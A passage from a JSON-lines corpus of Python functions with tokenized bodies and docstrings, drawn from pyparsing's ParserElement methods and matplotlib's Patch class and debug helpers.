<NUM_LIT:3>:<EOL><INDENT>def tmp(s,l,t):<EOL><INDENT>return f(f.__call__.__self__, s,l,t)<EOL><DEDENT><DEDENT>if numargs == <NUM_LIT:2>:<EOL><INDENT>def tmp(s,l,t):<EOL><INDENT>return f(l,t)<EOL><DEDENT><DEDENT>elif numargs == <NUM_LIT:1>:<EOL><INDENT>def tmp(s,l,t):<EOL><INDENT>return f(t)<EOL><DEDENT><DEDENT>else: <EOL><INDENT>def tmp(s,l,t):<EOL><INDENT>return f()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>tmp.__name__ = f.__name__<EOL><DEDENT>except (AttributeError,TypeError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>tmp.__doc__ = f.__doc__<EOL><DEDENT>except (AttributeError,TypeError):<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>tmp.__dict__.update(f.__dict__)<EOL><DEDENT>except (AttributeError,TypeError):<EOL><INDENT>pass<EOL><DEDENT>return tmp<EOL><DEDENT>", "docstring": "Internal method used to decorate parse actions that take fewer than 3 arguments,\n           so that all parse actions can be called as f(s,l,t).", "id": "f17196:c8:m6"}
{"signature": "def setParseAction( self, *fns, **kwargs ):", "body": "self.parseAction = list(map(self._normalizeParseActionArgs, list(fns)))<EOL>self.callDuringTry = (\"<STR_LIT>\" in kwargs and kwargs[\"<STR_LIT>\"])<EOL>return self<EOL>", "docstring": "Define action to perform when successfully matching parse element definition.\n           Parse action fn is a callable method with 0-3 arguments, called as fn(s,loc,toks),\n           fn(loc,toks), fn(toks), or just fn(), where:\n            - s   = the original string being parsed (see note below)\n            - loc = the location of the matching substring\n            - toks = a list of the matched tokens, packaged as a ParseResults object\n           If the functions in fns modify the tokens, they can return them as the return\n           value from fn, and the modified list of tokens will replace the original.\n           Otherwise, fn does not need to return any value.\n\n           Note: the default parsing behavior is to expand tabs in the input string\n           before starting the parsing process.  See L{I{parseString}<parseString>} for more information\n           on parsing strings containing <TAB>s, and suggested methods to maintain a\n           consistent view of the parsed string, the parse location, and line and column\n           positions within the parsed string.", "id": "f17196:c8:m7"}
{"signature": "def addParseAction( self, *fns, **kwargs ):", "body": "self.parseAction += list(map(self._normalizeParseActionArgs, list(fns)))<EOL>self.callDuringTry = self.callDuringTry or (\"<STR_LIT>\" in kwargs and kwargs[\"<STR_LIT>\"])<EOL>return self<EOL>", "docstring": "Add parse action to expression's list of parse actions. See L{I{setParseAction}<setParseAction>}.", "id": "f17196:c8:m8"}
{"signature": "def setFailAction( self, fn ):", "body": "self.failAction = fn<EOL>return self<EOL>", "docstring": "Define action to perform if parsing fails at this expression.\n           Fail acton fn is a callable function that takes the arguments\n           fn(s,loc,expr,err) where:\n            - s = string being parsed\n            - loc = location where expression match was attempted and failed\n            - expr = the parse expression that failed\n            - err = the exception thrown\n           The function returns no value.  It may throw ParseFatalException\n           if it is desired to stop parsing immediately.", "id": "f17196:c8:m9"}
{"signature": "def enablePackrat():", "body": "if not ParserElement._packratEnabled:<EOL><INDENT>ParserElement._packratEnabled = True<EOL>ParserElement._parse = ParserElement._parseCache<EOL><DEDENT>", "docstring": "Enables \"packrat\" parsing, which adds memoizing to the parsing logic.\n           Repeated parse attempts at the same string location (which happens\n           often in many complex grammars) can immediately return a cached value,\n           instead of re-executing parsing/validating code.  Memoizing is done of\n           both valid results and parsing exceptions.\n\n           This speedup may break existing programs that use parse actions that\n           have side-effects.  For this reason, packrat parsing is disabled when\n           you first import pyparsing.  To activate the packrat feature, your\n           program must call the class method ParserElement.enablePackrat().  If\n           your program uses psyco to \"compile as you go\", you must call\n           enablePackrat before calling psyco.full().  If you do not do this,\n           Python will crash.  For best results, call enablePackrat() immediately\n           after importing pyparsing.", "id": "f17196:c8:m18"}
{"signature": "def parseString( self, instring, parseAll=False ):", "body": "ParserElement.resetCache()<EOL>if not self.streamlined:<EOL><INDENT>self.streamline()<EOL><DEDENT>for e in self.ignoreExprs:<EOL><INDENT>e.streamline()<EOL><DEDENT>if not self.keepTabs:<EOL><INDENT>instring = instring.expandtabs()<EOL><DEDENT>loc, tokens = self._parse( instring, <NUM_LIT:0> )<EOL>if parseAll:<EOL><INDENT>StringEnd()._parse( instring, loc )<EOL><DEDENT>return tokens<EOL>", "docstring": "Execute the parse expression with the given string.\n           This is the main interface to the client code, once the complete\n           expression has been built.\n\n           If you want the grammar to require that the entire input string be\n           successfully parsed, then set parseAll to True (equivalent to ending\n           the grammar with StringEnd()).\n\n           Note: parseString implicitly calls expandtabs() on the input string,\n           in order to report proper column numbers in parse actions.\n           If the input string contains tabs and\n           the grammar uses parse actions that use the loc argument to index into the\n           string being parsed, you can ensure you have a consistent view of the input\n           string by:\n            - calling parseWithTabs on your grammar before calling parseString\n              (see L{I{parseWithTabs}<parseWithTabs>})\n            - define your parse action using the full (s,loc,toks) signature, and\n              reference the input string using the parse action's s argument\n            - explictly expand the tabs in your input string before calling\n              parseString", "id": "f17196:c8:m19"}
{"signature": "def scanString( self, instring, maxMatches=_MAX_INT ):", "body": "if not self.streamlined:<EOL><INDENT>self.streamline()<EOL><DEDENT>for e in self.ignoreExprs:<EOL><INDENT>e.streamline()<EOL><DEDENT>if not self.keepTabs:<EOL><INDENT>instring = _ustr(instring).expandtabs()<EOL><DEDENT>instrlen = len(instring)<EOL>loc = <NUM_LIT:0><EOL>preparseFn = self.preParse<EOL>parseFn = self._parse<EOL>ParserElement.resetCache()<EOL>matches = <NUM_LIT:0><EOL>while loc <= instrlen and matches < maxMatches:<EOL><INDENT>try:<EOL><INDENT>preloc = preparseFn( instring, loc )<EOL>nextLoc,tokens = parseFn( instring, preloc, callPreParse=False )<EOL><DEDENT>except ParseException:<EOL><INDENT>loc = preloc+<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>matches += <NUM_LIT:1><EOL>yield tokens, preloc, nextLoc<EOL>loc = nextLoc<EOL><DEDENT><DEDENT>", "docstring": "Scan the input string for expression matches.  Each match will return the\n           matching tokens, start location, and end location.  May be called with optional\n           maxMatches argument, to clip scanning after 'n' matches are found.\n\n           Note that the start and end locations are reported relative to the string\n           being parsed.  See L{I{parseString}<parseString>} for more information on parsing\n           strings with embedded tabs.", "id": "f17196:c8:m20"}
{"signature": "def transformString( self, instring ):", "body": "out = []<EOL>lastE = <NUM_LIT:0><EOL>self.keepTabs = True<EOL>for t,s,e in self.scanString( instring ):<EOL><INDENT>out.append( instring[lastE:s] )<EOL>if t:<EOL><INDENT>if isinstance(t,ParseResults):<EOL><INDENT>out += t.asList()<EOL><DEDENT>elif isinstance(t,list):<EOL><INDENT>out += t<EOL><DEDENT>else:<EOL><INDENT>out.append(t)<EOL><DEDENT><DEDENT>lastE = e<EOL><DEDENT>out.append(instring[lastE:])<EOL>return \"<STR_LIT>\".join(map(_ustr,out))<EOL>", "docstring": "Extension to scanString, to modify matching text with modified tokens that may\n           be returned from a parse action.  To use transformString, define a grammar and\n           attach a parse action to it that modifies the returned token list.\n           Invoking transformString() on a target string will then scan for matches,\n           and replace the matched text patterns according to the logic in the parse\n           action.  transformString() returns the resulting transformed string.", "id": "f17196:c8:m21"}
{"signature": "def searchString( self, instring, maxMatches=_MAX_INT ):", "body": "return ParseResults([ t for t,s,e in self.scanString( instring, maxMatches ) ])<EOL>", "docstring": "Another extension to scanString, simplifying the access to the tokens found\n           to match the given parse expression.  May be called with optional\n           maxMatches argument, to clip searching after 'n' matches are found.", "id": "f17196:c8:m22"}
{"signature": "def __add__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return And( [ self, other ] )<EOL>", "docstring": "Implementation of + operator - returns And", "id": "f17196:c8:m23"}
{"signature": "def __radd__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return other + self<EOL>", "docstring": "Implementation of + operator when left operand is not a ParserElement", "id": "f17196:c8:m24"}
{"signature": "def __sub__(self, other):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return And( [ self, And._ErrorStop(), other ] )<EOL>", "docstring": "Implementation of - operator, returns And with error stop", "id": "f17196:c8:m25"}
{"signature": "def __rsub__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return other - self<EOL>", "docstring": "Implementation of - operator when left operand is not a ParserElement", "id": "f17196:c8:m26"}
{"signature": "def __or__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return MatchFirst( [ self, other ] )<EOL>", "docstring": "Implementation of | operator - returns MatchFirst", "id": "f17196:c8:m29"}
{"signature": "def __ror__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return other | self<EOL>", "docstring": "Implementation of | operator when left operand is not a ParserElement", "id": "f17196:c8:m30"}
{"signature": "def __xor__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return Or( [ self, other ] )<EOL>", "docstring": "Implementation of ^ operator - returns Or", "id": "f17196:c8:m31"}
{"signature": "def __rxor__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return other ^ self<EOL>", "docstring": "Implementation of ^ operator when left operand is not a ParserElement", "id": "f17196:c8:m32"}
{"signature": "def __and__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return Each( [ self, other ] )<EOL>", "docstring": "Implementation of & operator - returns Each", "id": "f17196:c8:m33"}
{"signature": "def __rand__(self, other ):", "body": "if isinstance( other, str ):<EOL><INDENT>other = Literal( other )<EOL><DEDENT>if not isinstance( other, ParserElement ):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % type(other),<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>return None<EOL><DEDENT>return other & self<EOL>", "docstring": "Implementation of & operator when left operand is not a ParserElement", "id": "f17196:c8:m34"}
{"signature": "def __invert__( self ):", "body": "return NotAny( self )<EOL>", "docstring": "Implementation of ~ operator - returns NotAny", "id": "f17196:c8:m35"}
{"signature": "def __call__(self, name):", "body": "return self.setResultsName(name)<EOL>", "docstring": "Shortcut for setResultsName, with listAllMatches=default::\n             userdata = Word(alphas).setResultsName(\"name\") + Word(nums+\"-\").setResultsName(\"socsecno\")\n           could be written as::\n             userdata = Word(alphas)(\"name\") + Word(nums+\"-\")(\"socsecno\")", "id": "f17196:c8:m36"}
{"signature": "def suppress( self ):", "body": "return Suppress( self )<EOL>", "docstring": "Suppresses the output of this ParserElement; useful to keep punctuation from\n           cluttering up returned output.", "id": "f17196:c8:m37"}
{"signature": "def leaveWhitespace( self ):", "body": "self.skipWhitespace = False<EOL>return self<EOL>", "docstring": "Disables the skipping of whitespace before matching the characters in the\n           ParserElement's defined pattern.  This is normally only used internally by\n           the pyparsing module, but may be needed in some whitespace-sensitive grammars.", "id": "f17196:c8:m38"}
{"signature": "def setWhitespaceChars( self, chars ):", "body": "self.skipWhitespace = True<EOL>self.whiteChars = chars<EOL>self.copyDefaultWhiteChars = False<EOL>return self<EOL>", "docstring": "Overrides the default whitespace chars", "id": "f17196:c8:m39"}
{"signature": "def parseWithTabs( self ):", "body": "self.keepTabs = True<EOL>return self<EOL>", "docstring": "Overrides default behavior to expand <TAB>s to spaces before parsing the input string.\n           Must be called before parseString when the input grammar contains elements that\n           match <TAB> characters.", "id": "f17196:c8:m40"}
{"signature": "def ignore( self, other ):", "body": "if isinstance( other, Suppress ):<EOL><INDENT>if other not in self.ignoreExprs:<EOL><INDENT>self.ignoreExprs.append( other )<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.ignoreExprs.append( Suppress( other ) )<EOL><DEDENT>return self<EOL>", "docstring": "Define expression to be ignored (e.g., comments) while doing pattern\n           matching; may be called repeatedly, to define multiple comment or other\n           ignorable patterns.", "id": "f17196:c8:m41"}
{"signature": "def setDebugActions( self, startAction, successAction, exceptionAction ):", "body": "self.debugActions = (startAction or _defaultStartDebugAction,<EOL>successAction or _defaultSuccessDebugAction,<EOL>exceptionAction or _defaultExceptionDebugAction)<EOL>self.debug = True<EOL>return self<EOL>", "docstring": "Enable display of debugging messages while doing pattern matching.", "id": "f17196:c8:m42"}
{"signature": "def setDebug( self, flag=True ):", "body": "if flag:<EOL><INDENT>self.setDebugActions( _defaultStartDebugAction, _defaultSuccessDebugAction, _defaultExceptionDebugAction )<EOL><DEDENT>else:<EOL><INDENT>self.debug = False<EOL><DEDENT>return self<EOL>", "docstring": "Enable display of debugging messages while doing pattern matching.\n           Set flag to True to enable, False to disable.", "id": "f17196:c8:m43"}
{"signature": "def validate( self, validateTrace=[] ):", "body": "self.checkRecursion( [] )<EOL>", "docstring": "Check defined expressions for valid structure, check for infinite recursive definitions.", "id": "f17196:c8:m48"}
{"signature": "def parseFile( self, file_or_filename ):", "body": "try:<EOL><INDENT>file_contents = file_or_filename.read()<EOL><DEDENT>except AttributeError:<EOL><INDENT>f = open(file_or_filename, \"<STR_LIT:rb>\")<EOL>file_contents = f.read()<EOL>f.close()<EOL><DEDENT>return self.parseString(file_contents)<EOL>", "docstring": "Execute the parse expression on the given file or filename.\n           If a filename is specified (instead of a file object),\n           the entire file is opened, read, and closed before parsing.", "id": "f17196:c8:m49"}
{"signature": "def setDefaultKeywordChars( chars ):", "body": "Keyword.DEFAULT_KEYWORD_CHARS = chars<EOL>", "docstring": "Overrides the default Keyword chars", "id": "f17196:c13:m3"}
{"signature": "def __init__( self, pattern, flags=<NUM_LIT:0>):", "body": "super(Regex,self).__init__()<EOL>if len(pattern) == <NUM_LIT:0>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL><DEDENT>self.pattern = pattern<EOL>self.flags = flags<EOL>try:<EOL><INDENT>self.re = re.compile(self.pattern, self.flags)<EOL>self.reString = self.pattern<EOL><DEDENT>except sre_constants.error:<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % pattern,<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>raise<EOL><DEDENT>self.name = _ustr(self)<EOL>self.errmsg = \"<STR_LIT>\" + self.name<EOL>self.mayIndexError = False<EOL>self.mayReturnEmpty = True<EOL>", "docstring": "The parameters pattern and flags are passed to the re.compile() function as-is. See the Python re module for an explanation of the acceptable patterns and flags.", "id": "f17196:c17:m0"}
{"signature": "def __init__( self, quoteChar, escChar=None, escQuote=None, multiline=False, unquoteResults=True, endQuoteChar=None):", "body": "super(QuotedString,self).__init__()<EOL>quoteChar = quoteChar.strip()<EOL>if len(quoteChar) == <NUM_LIT:0>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",SyntaxWarning,stacklevel=<NUM_LIT:2>)<EOL>raise SyntaxError()<EOL><DEDENT>if endQuoteChar is None:<EOL><INDENT>endQuoteChar = quoteChar<EOL><DEDENT>else:<EOL><INDENT>endQuoteChar = endQuoteChar.strip()<EOL>if len(endQuoteChar) == <NUM_LIT:0>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\",SyntaxWarning,stacklevel=<NUM_LIT:2>)<EOL>raise SyntaxError()<EOL><DEDENT><DEDENT>self.quoteChar = quoteChar<EOL>self.quoteCharLen = len(quoteChar)<EOL>self.firstQuoteChar = quoteChar[<NUM_LIT:0>]<EOL>self.endQuoteChar = endQuoteChar<EOL>self.endQuoteCharLen = len(endQuoteChar)<EOL>self.escChar = escChar<EOL>self.escQuote = escQuote<EOL>self.unquoteResults = unquoteResults<EOL>if multiline:<EOL><INDENT>self.flags = re.MULTILINE | re.DOTALL<EOL>self.pattern = r'<STR_LIT>' %( re.escape(self.quoteChar),<EOL>_escapeRegexRangeChars(self.endQuoteChar[<NUM_LIT:0>]),<EOL>(escChar is not None and _escapeRegexRangeChars(escChar) or '<STR_LIT>') )<EOL><DEDENT>else:<EOL><INDENT>self.flags = <NUM_LIT:0><EOL>self.pattern = r'<STR_LIT>' %( re.escape(self.quoteChar),<EOL>_escapeRegexRangeChars(self.endQuoteChar[<NUM_LIT:0>]),<EOL>(escChar is not None and _escapeRegexRangeChars(escChar) or '<STR_LIT>') )<EOL><DEDENT>if len(self.endQuoteChar) > <NUM_LIT:1>:<EOL><INDENT>self.pattern += (<EOL>'<STR_LIT>' + '<STR_LIT>'.join([\"<STR_LIT>\" % (re.escape(self.endQuoteChar[:i]),<EOL>_escapeRegexRangeChars(self.endQuoteChar[i]))<EOL>for i in range(len(self.endQuoteChar)-<NUM_LIT:1>,<NUM_LIT:0>,-<NUM_LIT:1>)]) + '<STR_LIT:)>'<EOL>)<EOL><DEDENT>if escQuote:<EOL><INDENT>self.pattern += (r'<STR_LIT>' % re.escape(escQuote))<EOL><DEDENT>if escChar:<EOL><INDENT>self.pattern += (r'<STR_LIT>' % re.escape(escChar))<EOL>self.escCharReplacePattern = re.escape(self.escChar)+\"<STR_LIT>\"<EOL><DEDENT>self.pattern += (r'<STR_LIT>' % re.escape(self.endQuoteChar))<EOL>try:<EOL><INDENT>self.re = re.compile(self.pattern, self.flags)<EOL>self.reString = self.pattern<EOL><DEDENT>except sre_constants.error:<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % self.pattern,<EOL>SyntaxWarning, stacklevel=<NUM_LIT:2>)<EOL>raise<EOL><DEDENT>self.name = _ustr(self)<EOL>self.errmsg = \"<STR_LIT>\" + self.name<EOL>self.mayIndexError = False<EOL>self.mayReturnEmpty = True<EOL>", "docstring": "Defined with the following parameters:\n - quoteChar - string of one or more characters defining the quote delimiting string\n - escChar - character to escape quotes, typically backslash (default=None)\n - escQuote - special quote sequence to escape an embedded quote string (such as SQL's \"\" to escape an embedded \") (default=None)\n - multiline - boolean indicating whether quotes can span multiple lines (default=False)\n - unquoteResults - boolean indicating whether the matched text should be unquoted (default=True)\n - endQuoteChar - string of one or more characters defining the end of the quote delimited string (default=None => same as quoteChar)", "id": "f17196:c18:m0"}
{"signature": "def leaveWhitespace( self ):", "body": "self.skipWhitespace = False<EOL>self.exprs = [ e.copy() for e in self.exprs ]<EOL>for e in self.exprs:<EOL><INDENT>e.leaveWhitespace()<EOL><DEDENT>return self<EOL>", "docstring": "Extends leaveWhitespace defined in base class, and also invokes leaveWhitespace on\n           all contained expressions.", "id": "f17196:c29:m3"}
{"signature": "def __patch__init__(self,<EOL>edgecolor=None,<EOL>facecolor=None,<EOL>linewidth=None,<EOL>linestyle=None,<EOL>antialiased = None,<EOL>hatch = None,<EOL>fill=True,<EOL>**kwargs<EOL>):", "body": "artist.Artist.__init__(self)<EOL>if linewidth is None: linewidth = mpl.rcParams['<STR_LIT>']<EOL>if linestyle is None: linestyle = \"<STR_LIT>\"<EOL>if antialiased is None: antialiased = mpl.rcParams['<STR_LIT>']<EOL>self.set_edgecolor(edgecolor)<EOL>self.set_facecolor(facecolor)<EOL>self.set_linewidth(linewidth)<EOL>self.set_linestyle(linestyle)<EOL>self.set_antialiased(antialiased)<EOL>self.set_hatch(hatch)<EOL>self.fill = fill<EOL>self._combined_transform = transforms.IdentityTransform()<EOL>if len(kwargs): artist.setp(self, **kwargs)<EOL>", "docstring": "The following kwarg properties are supported\n\n%(Patch)s", "id": "f17197:m0"}
{"signature": "def bbox_artist(artist, renderer, props=None, fill=True):", "body": "if props is None: props = {}<EOL>props = props.copy() <EOL>pad = props.pop('<STR_LIT>', <NUM_LIT:4>)<EOL>pad = renderer.points_to_pixels(pad)<EOL>bbox = artist.get_window_extent(renderer)<EOL>l,b,w,h = bbox.bounds<EOL>l-=pad/<NUM_LIT><EOL>b-=pad/<NUM_LIT><EOL>w+=pad<EOL>h+=pad<EOL>r = Rectangle(xy=(l,b),<EOL>width=w,<EOL>height=h,<EOL>fill=fill,<EOL>)<EOL>r.set_transform(transforms.IdentityTransform())<EOL>r.set_clip_on( False )<EOL>r.update(props)<EOL>r.draw(renderer)<EOL>", "docstring": "This is a debug function to draw a rectangle around the bounding\nbox returned by\n:meth:`~matplotlib.artist.Artist.get_window_extent` of an artist,\nto test whether the artist is returning the correct bbox.\n\n*props* is a dict of rectangle props with the additional property\n'pad' that sets the padding around the bbox in points.", "id": "f17197:m1"}
{"signature": "def draw_bbox(bbox, renderer, color='<STR_LIT:k>', trans=None):", "body": "l,b,w,h = bbox.get_bounds()<EOL>r = Rectangle(xy=(l,b),<EOL>width=w,<EOL>height=h,<EOL>edgecolor=color,<EOL>fill=False,<EOL>)<EOL>if trans is not None: r.set_transform(trans)<EOL>r.set_clip_on( False )<EOL>r.draw(renderer)<EOL>", "docstring": "This is a debug function to draw a rectangle around the bounding\nbox returned by\n:meth:`~matplotlib.artist.Artist.get_window_extent` of an artist,\nto test whether the artist is returning the correct bbox.", "id": "f17197:m2"}
{"signature": "def _pprint_table(_table, leadingspace=<NUM_LIT:2>):", "body": "if leadingspace:<EOL><INDENT>pad = '<STR_LIT:U+0020>'*leadingspace<EOL><DEDENT>else:<EOL><INDENT>pad  = '<STR_LIT>'<EOL><DEDENT>columns = [[] for cell in _table[<NUM_LIT:0>]]<EOL>for row in _table:<EOL><INDENT>for column, cell in zip(columns, row):<EOL><INDENT>column.append(cell)<EOL><DEDENT><DEDENT>col_len = [max([len(cell) for cell in column]) for column in columns]<EOL>lines = []<EOL>table_formatstr = pad + '<STR_LIT:U+0020>'.join([('<STR_LIT:=>' * cl) for cl in col_len])<EOL>lines.append('<STR_LIT>')<EOL>lines.append(table_formatstr)<EOL>lines.append(pad + '<STR_LIT:U+0020>'.join([cell.ljust(cl) for cell, cl in zip(_table[<NUM_LIT:0>], col_len)]))<EOL>lines.append(table_formatstr)<EOL>lines.extend([(pad + '<STR_LIT:U+0020>'.join([cell.ljust(cl) for cell, cl in zip(row, col_len)]))<EOL>for row in _table[<NUM_LIT:1>:]])<EOL>lines.append(table_formatstr)<EOL>lines.append('<STR_LIT>')<EOL>return \"<STR_LIT:\\n>\".join(lines)<EOL>", "docstring": "Given the list of list of strings, return a string of REST table format.", "id": "f17197:m3"}
{"signature": "def _pprint_styles(_styles, leadingspace=<NUM_LIT:2>):", "body": "if leadingspace:<EOL><INDENT>pad = '<STR_LIT:U+0020>'*leadingspace<EOL><DEDENT>else:<EOL><INDENT>pad  = '<STR_LIT>'<EOL><DEDENT>names, attrss, clss = [], [], []<EOL>import inspect<EOL>_table = [[\"<STR_LIT>\", \"<STR_LIT:Name>\", \"<STR_LIT>\"]]<EOL>for name, cls in sorted(_styles.items()):<EOL><INDENT>args, varargs, varkw, defaults =  inspect.getargspec(cls.__init__)<EOL>if defaults:<EOL><INDENT>args = [(argname, argdefault)for argname, argdefault in zip(args[<NUM_LIT:1>:], defaults)]<EOL><DEDENT>else:<EOL><INDENT>args = None<EOL><DEDENT>if args is None:<EOL><INDENT>argstr = '<STR_LIT:None>'<EOL><DEDENT>else:<EOL><INDENT>argstr =  \"<STR_LIT:U+002C>\".join([(\"<STR_LIT>\" % (an, av)) for an, av in args])<EOL><DEDENT>_table.append([cls.__name__, \"<STR_LIT>\"%name, argstr])<EOL><DEDENT>return _pprint_table(_table)<EOL>", "docstring": "A helper function for the _Style class.  Given the dictionary of\n(stylename : styleclass), return a formatted string listing all the\nstyles. Used to update the documentation.", "id": "f17197:m4"}
{"signature": "def get_verts(self):", "body": "trans = self.get_transform()<EOL>path = self.get_path()<EOL>polygons = path.to_polygons(trans)<EOL>if len(polygons):<EOL><INDENT>return polygons[<NUM_LIT:0>]<EOL><DEDENT>return []<EOL>", "docstring": "Return a copy of the vertices used in this patch\n\nIf the patch contains B\u00e9zier curves, the curves will be\ninterpolated by line segments.  To access the curves as\ncurves, use :meth:`get_path`.", "id": "f17197:c0:m1"}
{"signature": "def contains(self, mouseevent):", "body": "<EOL>if callable(self._contains): return self._contains(self,mouseevent)<EOL>inside = self.get_path().contains_point(<EOL>(mouseevent.x, mouseevent.y), self.get_transform())<EOL>return inside, {}<EOL>", "docstring": "Test whether the mouse event occurred in the patch.\n\n        Returns T/F, {}", "id": "f17197:c0:m2"}
{"signature": "def update_from(self, other):", "body": "artist.Artist.update_from(self, other)<EOL>self.set_edgecolor(other.get_edgecolor())<EOL>self.set_facecolor(other.get_facecolor())<EOL>self.set_fill(other.get_fill())<EOL>self.set_hatch(other.get_hatch())<EOL>self.set_linewidth(other.get_linewidth())<EOL>self.set_linestyle(other.get_linestyle())<EOL>self.set_transform(other.get_data_transform())<EOL>self.set_figure(other.get_figure())<EOL>self.set_alpha(other.get_alpha())<EOL>", "docstring": "Updates this :class:`Patch` from the properties of *other*.", "id": "f17197:c0:m3"}
{"signature": "def get_extents(self):", "body": "return self.get_path().get_extents(self.get_transform())<EOL>", "docstring": "Return a :class:`~matplotlib.transforms.Bbox` object defining\nthe axis-aligned extents of the :class:`Patch`.", "id": "f17197:c0:m4"}
{"signature": "def get_transform(self):", "body": "return self.get_patch_transform() + artist.Artist.get_transform(self)<EOL>", "docstring": "Return the :class:`~matplotlib.transforms.Transform` applied\nto the :class:`Patch`.", "id": "f17197:c0:m5"}
{"signature": "def get_antialiased(self):", "body": "return self._antialiased<EOL>", "docstring": "Returns True if the :class:`Patch` is to be drawn with antialiasing.", "id": "f17197:c0:m8"}
{"signature": "def get_edgecolor(self):", "body": "return self._edgecolor<EOL>", "docstring": "Return the edge color of the :class:`Patch`.", "id": "f17197:c0:m9"}
{"signature": "def get_facecolor(self):", "body": "return self._facecolor<EOL>", "docstring": "Return the face color of the :class:`Patch`.", "id": "f17197:c0:m10"}
{"signature": "def get_linewidth(self):", "body": "return self._linewidth<EOL>", "docstring": "Return the line width in points.", "id": "f17197:c0:m11"}
{"signature": "def get_linestyle(self):", "body": "return self._linestyle<EOL>", "docstring": "Return the linestyle.  Will be one of ['solid' | 'dashed' |\n'dashdot' | 'dotted']", "id": "f17197:c0:m12"}
{"signature": "def set_antialiased(self, aa):", "body": "if aa is None: aa = mpl.rcParams['<STR_LIT>']<EOL>self._antialiased = aa<EOL>", "docstring": "Set whether to use antialiased rendering\n\nACCEPTS: [True | False]  or None for default", "id": "f17197:c0:m13"}
{"signature": "def set_aa(self, aa):", "body": "return self.set_antialiased(aa)<EOL>", "docstring": "alias for set_antialiased", "id": "f17197:c0:m14"}
{"signature": "def set_edgecolor(self, color):", "body": "if color is None: color = mpl.rcParams['<STR_LIT>']<EOL>self._edgecolor = color<EOL>", "docstring": "Set the patch edge color\n\nACCEPTS: mpl color spec, or None for default, or 'none' for no color", "id": "f17197:c0:m15"}
{"signature": "def set_ec(self, color):", "body": "return self.set_edgecolor(color)<EOL>", "docstring": "alias for set_edgecolor", "id": "f17197:c0:m16"}
{"signature": "def set_facecolor(self, color):", "body": "if color is None: color = mpl.rcParams['<STR_LIT>']<EOL>self._facecolor = color<EOL>", "docstring": "Set the patch face color\n\nACCEPTS: mpl color spec, or None for default, or 'none' for no color", "id": "f17197:c0:m17"}
{"signature": "def set_fc(self, color):", "body": "return self.set_facecolor(color)<EOL>", "docstring": "alias for set_facecolor", "id": "f17197:c0:m18"}
{"signature": "def set_linewidth(self, w):", "body": "if w is None: w = mpl.rcParams['<STR_LIT>']<EOL>self._linewidth = w<EOL>", "docstring": "Set the patch linewidth in points\n\nACCEPTS: float or None for default", "id": "f17197:c0:m19"}
{"signature": "def set_lw(self, lw):", "body": "return self.set_linewidth(lw)<EOL>", "docstring": "alias for set_linewidth", "id": "f17197:c0:m20"}
{"signature": "def set_linestyle(self, ls):", "body": "if ls is None: ls = \"<STR_LIT>\"<EOL>self._linestyle = ls<EOL>", "docstring": "Set the patch linestyle\n\nACCEPTS: ['solid' | 'dashed' | 'dashdot' | 'dotted']", "id": "f17197:c0:m21"}
{"signature": "def set_ls(self, ls):", "body": "return self.set_linestyle(ls)<EOL>", "docstring": "alias for set_linestyle", "id": "f17197:c0:m22"}
